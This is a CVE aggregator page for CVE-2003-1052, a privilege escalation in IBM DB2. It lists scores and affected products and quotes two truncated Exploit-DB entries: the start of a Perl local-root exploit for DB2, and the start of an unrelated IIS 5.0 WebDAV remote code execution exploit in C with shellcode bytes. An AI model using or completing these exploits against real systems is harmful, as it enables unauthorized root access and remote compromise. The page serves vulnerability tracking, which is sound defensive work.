CVE-2003-1052
published 2004-09-28CVE-2003-1052: IBM DB2 7.1 and 8.1 allow the bin user to gain root privileges by modifying the shared libraries that are used in setuid root programs.
PriorityP428high7.2CVSS 2.0
AVLACLAuNCCICAC
EXPLOIT
EPSS
1.31%
67.5th percentile
IBM DB2 7.1 and 8.1 allow the bin user to gain root privileges by modifying the shared libraries that are used in setuid root programs.
Affected
8 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| ibm | db2 | — | — |
| ibm | db2_universal_database | — | — |
| ibm | db2_universal_database | — | — |
| ibm | db2_universal_database | — | — |
| ibm | db2_universal_database | — | — |
| ibm | db2_universal_database | — | — |
| ibm | db2_universal_database | — | — |
| ibm | db2_universal_database | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
IBM DB2 - Shared Library Injection
exploitdb·2003-08-05
CVE-2003-1052 IBM DB2 - Shared Library Injection
IBM DB2 - Shared Library Injection
---
source: https://www.securityfocus.com/bid/8346/info
IBM DB2 ships with a number of shared libraries, stored in a directory owned by the user and group 'bin'. As setuid root utilities are linked to these libraries, their ownership by a user and group of a lower privilege level constitutes a vulnerability. If an attacker can obtain user or group bin privileges, the shared libraries can be overwritten with malicious replacements designed to obtain root privileges from the setuid root utilities that use them.
#!/usr/bin/perl
#IBM DB2 local root from uid=bin
#deadbeat,
#e: [email protected]
#e: [email protected]
print "\nIBM db2 local bin escape to root sploit\n";
print "Preparing exploit...\n";
system("cd /usr/IBMdb2/V7.1/lib");
open FIL
Exploit-DB
Microsoft IIS 5.0 - WebDAV Remote Code Execution (3) (xwdav)
exploitdb·2003-07-08
CVE-2003-0109 Microsoft IIS 5.0 - WebDAV Remote Code Execution (3) (xwdav)
Microsoft IIS 5.0 - WebDAV Remote Code Execution (3) (xwdav)
---
/*
* IIS 5.0 WebDAV Exploit Xnuxer Lab
* By Schizoprenic, Copyright (c) 2003
* WebDAV exploit without netcat or telnet and with pretty magic number as RET
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define RET 0xc9c9
#define LOADLIBRARYA 0x0100107c
#define GETPROCADDRESS 0x01001034
#define PORT_OFFSET 1052
#define LOADL_OFFSET 798
#define GETPROC_OFFSET 815
#define NOP 0x90
unsigned char shellcode[] = // Deepzone shellcode
"\x68\x5e\x56\xc3\x90\x54\x59\xff\xd1\x58\x33\xc9\xb1\x1c"
"\x90\x90\x90\x90\x03\xf1\x56\x5f\x33\xc9\x66\xb9\x95\x04"
"\x90\x90\x90\xac\x34\x99\xaa\xe2\xfa\x71\x99\x99\x99\x99"
"\xc4\x18\x74\x40\xb8\xd9\x99\x14\x2c\x6b\xbd\xd9\x99\x14"
"\x24\x63\xbd\xd9\x99\xf3\
No writeups or analysis indexed.
2004-09-28
Published